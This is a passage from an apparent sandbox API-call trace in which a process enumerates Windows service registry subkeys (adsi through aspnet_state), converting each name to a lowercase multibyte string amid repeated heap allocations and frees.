Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.586] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.586] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.586] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1970, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.587] 